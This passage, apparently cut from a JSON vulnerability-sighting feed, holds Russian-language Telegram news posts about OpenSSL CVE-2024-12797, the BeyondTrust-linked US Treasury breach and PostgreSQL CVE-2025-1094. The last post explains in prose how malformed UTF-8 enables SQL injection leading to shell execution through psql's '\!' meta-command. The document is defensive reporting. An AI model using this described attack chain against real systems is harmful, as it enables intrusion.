\u0441\u0431\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b \u0430\u0442\u0430\u043a\u0438 \u0442\u0438\u043f\u0430 MitM \u043d\u0430 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f\u0445 TLS \u0438 DTLS, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 RPK.\n\nRPK \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043a\u0430\u043a \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445, \u0442\u0430\u043a \u0438 \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 TLS. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e\u0433\u0434\u0430, \u043a\u043e\u0433\u0434\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u044b TLS \u044f\u0432\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 RPK \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, \u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 RPK \u0432\u043c\u0435\u0441\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 X.509.\n\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0440\u0443\u043a\u043e\u043f\u043e\u0436\u0430\u0442\u0438\u0435 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e, \u043a\u043e\u0433\u0434\u0430 RPK \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0434\u043d\u043e\u043c\u0443 \u0438\u0437 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u043a\u043b\u044e\u0447\u0435\u0439, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044f \u0440\u0435\u0436\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 SSL_VERIFY_PEER.\n\n\u041a\u043b\u0438\u0435\u043d\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043d\u0435\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0435\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043d\u0435 \u0443\u0434\u0430\u043b\u0430\u0441\u044c, \u0432\u044b\u0437\u0432\u0430\u0432 SSL_get_verify_result(), \u0430 \u0442\u0435, \u043a\u0442\u043e \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f, \u043d\u0435 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u044e\u0442.\n\nOpenSSL 3.4, 3.3 \u0438 3.2 \u0443\u044f\u0437\u0432\u0438\u043c\u044b. CVE-2024-12797 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c 3.4.1, 3.3.2 \u0438 3.2.4.", "creation_timestamp": "2025-02-12T10:04:38.000000Z"}, {"uuid": "1a49473c-04b7-45f6-8686-784c58169efa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/true_secator/6612", "content": "\u041a\u0430\u043a \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442 \u0421\u041c\u0418, \u0432 \u0445\u043e\u0434\u0435 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0442\u0435, \u0447\u0442\u043e \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0442\u0441\u044f \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c\u0438.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0449\u0435\u0433\u043e\u0441\u044f \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u0432\u0441\u0435 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430, \u043e\u0434\u043d\u0430\u043a\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u043e\u043a\u0430 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043a\u0440\u0430\u0439\u043d\u0435 \u043c\u0430\u043b\u043e.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410, \u043a\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u043d\u043e \u0438 \u0447\u0442\u043e \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c - \u0432 \u043f\u043e\u043b\u043d\u043e\u043c \u043e\u0431\u044a\u0435\u043c\u0435 \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442\u0441\u044f.\n\n\u041f\u043e \u043d\u0430\u0447\u0430\u043b\u0443 \u0432 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435 \u0421\u0428\u0410 \u0437\u0430\u044f\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u043d\u0435\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u041a\u0430\u0437\u043d\u0430\u0447\u0435\u0439\u0441\u0442\u0432\u0430.\n\n\u0418\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f, \u043f\u043e-\u0432\u0438\u0434\u0438\u043c\u043e\u043c\u0443, \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 API \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0442 BeyondTrust.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e 0-day, CVE-2024-12356, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0438 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438, \u043d\u043e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u044d\u0442\u043e \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438.\n\n\u0416\u0443\u0440\u043d\u0430\u043b\u0438\u0441\u0442\u0430\u043c CNN\u00a0\u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0437\u043d\u0430\u0442\u044c \u043e\u0442 \u0442\u0440\u0435\u0445 \u043d\u0435\u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0445 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043b\u0438\u0446 \u0421\u0428\u0410, \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0445 \u0441 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0435\u0439, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0438\u043c\u043e \u043f\u0440\u043e\u0447\u0435\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041a\u043e\u043c\u0438\u0442\u0435\u0442\u043e\u043c \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c \u0432 \u0421\u0428\u0410 (CFIUS).\n\n\u0420\u0430\u043d\u0435\u0435 \u0432 Washington Post\u00a0\u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0438, \u0447\u0442\u043e \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC), \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c CNN, \u0447\u0438\u043d\u043e\u0432\u043d\u0438\u043a\u0438 \u043e\u0431\u0435\u0441\u043f\u043e\u043a\u043e\u0435\u043d\u044b \u0442\u0435\u043c, \u0447\u0442\u043e \u041a\u0438\u0442\u0430\u0439 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0431\u0449\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u00ab\u043d\u0435\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u0443\u044e\u00bb \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0430\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0438\u043c \u0432\u044b\u0443\u0434\u0438\u0442\u044c \u0432\u0435\u0441\u044c\u043c\u0430 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0434\u0434\u0430\u043d\u043d\u044b\u0435.\n\n\u0412 Bloomberg \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0437\u0430 \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u043e\u044f\u0442\u044c \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f APT,\u00a0\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a Silk Typhoon \u0438\u043b\u0438\u00a0Hafnium.\n\n\u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0441\u0442\u044b \u0438 \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0435 \u0441 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0435\u0439 \u0447\u0438\u043d\u043e\u0432\u043d\u0438\u043a\u0438 \u0435\u0434\u0438\u043d\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u043a\u0430\u043a \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u0440\u0443\u043f\u043d\u0435\u0439\u0448\u0438\u0445 \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f. \u0412\u0438\u0434\u0438\u043c\u043e, \u0432\u0441\u0435 \u0436\u0435 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0433\u0440\u0438\u0444\u0430 \u0432 \u0443\u0442\u0435\u043a\u0448\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0432\u0441\u0435 \u0436\u0435 \u0431\u044b\u043b\u043e.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2025-01-13T14:17:04.000000Z"}, {"uuid": "8cf7c1de-f572-449f-8ca8-393c2c0011d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/true_secator/6736", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e \u043d\u043e\u0432\u043e\u0439 0-day PostgreSQL, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0442\u0430\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u0430\u0442\u0430\u043a \u043d\u0430 BeyondTrust Privileged Remote Access \u0438 Remote Support, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0438 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u041c\u0438\u043d\u0444\u0438\u043d \u0421\u0428\u0410.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2025-1094 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,1) \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b PostgreSQL\u00a0psql\u00a0\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c SQL, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0435, \u043d\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e.\u00a0\n\n\u041d\u0430\u0439\u0442\u0438 \u043e\u0448\u0438\u0431\u043a\u0443 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u00a0CVE-2024-12356, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e BeyondTrust, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0438\u0437 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 BeyondTrust (CVE-2024-12356) \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 PostgreSQL \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e BeyondTrust \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2024-12356 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e CVE-2024-12686, \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c PostgreSQL \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u043e\u043f\u043e\u0440\u044b \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Rapid7, \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0442\u0435\u043c, \u043a\u0430\u043a\u00a0psql \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0431\u0430\u0439\u0442\u043e\u0432 \u0438\u0437 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 UTF-8.\n\n\u042d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f\u00a0\u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u00ab\\!\u00bb, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2025-1094 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043c\u0435\u0442\u0430\u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b 